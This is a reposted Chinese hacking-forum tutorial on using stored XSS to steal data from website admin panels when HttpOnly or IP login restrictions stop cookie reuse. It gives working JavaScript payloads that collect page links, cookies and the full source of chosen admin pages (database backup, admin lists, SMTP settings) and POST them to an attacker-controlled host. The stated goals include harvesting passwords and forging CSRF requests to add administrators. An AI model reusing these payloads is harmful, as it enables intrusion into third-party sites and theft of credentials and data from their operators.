XSS遇到后台登录限制或者HTTPONLY时

来源:互联网 发布:nginx动静分离原理 编辑:程序博客网 时间:2024/06/06 04:09

http://www.hack80.com/thread-965-1-1.html


0x01 前言
        XSS确实是个好东西,往往能在我们没有头绪的时候带来一丝曙光,宛如拿站途中的一轮明月,又如饥饿时的一块小曲奇(cookie)~
        然而,我们却时常遇到形如限制登录,HTTPONLY等拦路虎,这时,很多机油可能觉得XSS就没什么用了。
如下:

 




 





0x02 XSS用途探索

其实即使如此,XSS还是能帮助我们得到不少信息。甚至管理员的密码!
如何获取呢?方法有两种:
1.获取当前页面的所有URL
2.获取当前页面的代码

这个用途,撸主最开始想到的是用来对付WEBSHELL箱子的。是的,我们知道,登录一个箱子后台之后,基本上是拿不下shell的,我们要的主要是数据

例如,当时有这么一个webshell站点,马场主发现被人XSS之后,限制了ip登陆,即使得到了cookie也登不进去
 




 





这时候,我们就可以通过XSS获取页面的内容,直接得到所有webshell(当然要写一个循环)。



0x03  XSS用途探索——获取URL
        不能光说不练不是,我们使用如下的js代码即可获取当前页面的所有URL:

  1. a = document.getElementsByTagName("A");
  2. var b = "";
  3. for(i=0;i<a.length;i++)
  4. {
  5. b+=a[i].href;
  6. b+="</br>";
  7. }
  8. postDATA="cookie="+escape(document.cookie)+"&location="+escape(window.location.href)+"&top="+escape(top.location.href)+"&urls="+escape(b);
  9. url="http://xxxx.com/save.php";
  10. xmlHttp.open("POST", url, true);
  11. xmlHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); 
  12. xmlHttp.send(postDATA);
  13. }
  14. window.onload = function(){
  15. submitForm();
  16. }
复制代码
为什么不用get?答:因为get有长度限制

例如,我们在某个后台插入了自己的js:
 



等管理员看的时候,就得到了所有的url,我们可以在下图看到,后台往往有一些链接地址,都是各种管理的:
 




之后我们需要辗转多次,来搜集一些敏感的链接,例如数据库备份,SMTP设置,管理员列表之类的
        
这些页面的作用:
1.数据库备份:没准能看到数据库或者备份的路径
2.SMTP设置:管理员邮箱,密码
3.管理员列表:有时候管理员密码会显示在此,即使不在,没准可以CSRF添加一个管理员



0x04 XSS用途探索——获取指定URL页面代码
得到了敏感路径之后呢,我们就可以利用如下的JS来获取特定的页面(当然,上一步在当前页面搜集不齐URL的时候,也可以使用这个JS到别的页面搜集)
关键代码如下:


  1. function submitForm() {
  2.         var xmlHttp = createXmlHttp();
  3.     var htmlcode = getHtmlCode('http://xxxx.com/admin/asked/admin_data.asp?action=BackupData');
  4.     var html = encode64(htmlcode);
  5.         postDATA = "msg="+html;
  6.         url="http://aaaa.com/savePage.php";
  7.         xmlHttp.open("POST", url, true);
  8.         xmlHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); 
  9.         xmlHttp.send(postDATA);
  10. }
  11. window.onload = function(){
  12.     submitForm();
  13. }
复制代码

为什么要base64?答:现将网页escape,然后再用base64传送,即能解决传送时候一些特殊编码问题,又能解决中文乱码问题

我们得到内容的将会如下图:

 




然后我们先用base64解码,再unescape:
JS代码如下:

  1. function decode64(input) {
  2.       var output = "";
  3.       var chr1, chr2, chr3 = "";
  4.       var enc1, enc2, enc3, enc4 = "";
  5.       var i = 0;
  6.       // remove all characters that are not A-Z, a-z, 0-9, +, /, or =
  7.       var base64test = /[^A-Za-z0-9\+\/\=]/g;
  8.       if (base64test.exec(input)) {
  9.          alert("There were invalid base64 characters in the input text.\n" +
  10.                "Valid base64 characters are A-Z, a-z, 0-9, '+', '/', and '='\n" +
  11.                "Expect errors in decoding.");
  12.       }
  13.       input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
  14.       do {
  15.          enc1 = keyStr.indexOf(input.charAt(i++));
  16.          enc2 = keyStr.indexOf(input.charAt(i++));
  17.          enc3 = keyStr.indexOf(input.charAt(i++));
  18.          enc4 = keyStr.indexOf(input.charAt(i++));
  19.          chr1 = (enc1 << 2) | (enc2 >> 4);
  20.          chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
  21.          chr3 = ((enc3 & 3) << 6) | enc4;
  22.          output = output + String.fromCharCode(chr1);
  23.          if (enc3 != 64) {
  24.             output = output + String.fromCharCode(chr2);
  25.          }
  26.          if (enc4 != 64) {
  27.             output = output + String.fromCharCode(chr3);
  28.          }
  29.          chr1 = chr2 = chr3 = "";
  30.          enc1 = enc2 = enc3 = enc4 = "";
  31.       } while (i < input.length);
  32.       return unescape(output);
  33.    }
复制代码


 





最终能得到网页源代码,其中包含着敏感信息:
 

同样,我们也可以得到添加管理员的页面的代码:

 


然后可以构造一个CSRF了

0x05 总结
        即使cookie不能用,也不要小看xss的威力,撸主标题注明了,这是一篇“研究”文,意在抛砖引玉,广开大家思路,如有其他好思路可以给撸主留言,好机油一起讨论~~
        

       另外,这写个模块,撸主已经加到了自己用的XSS平台里~~效果图来一张:
 






114010qd97znttw3wzwdq8.jpg (15.12 KB, 下载次数: 0)

114010qd97znttw3wzwdq8.jpg

114014yicqve2fyfcciffy.jpg (77.12 KB, 下载次数: 0)

114014yicqve2fyfcciffy.jpg

114344zq1mazu3h8uv0f39.jpg (45.49 KB, 下载次数: 0)

114344zq1mazu3h8uv0f39.jpg

11434493ilw5j5zpc5slyl.jpg (16.72 KB, 下载次数: 0)

11434493ilw5j5zpc5slyl.jpg

115007w77wmstw85za5m6g.jpg (27.91 KB, 下载次数: 0)

115007w77wmstw85za5m6g.jpg

115117llltatyjv0mcggla.jpg (290.08 KB, 下载次数: 0)

115117llltatyjv0mcggla.jpg

115309srslsnwjqza5flne.jpg (88.76 KB, 下载次数: 0)

115309srslsnwjqza5flne.jpg

0 0
原创粉丝点击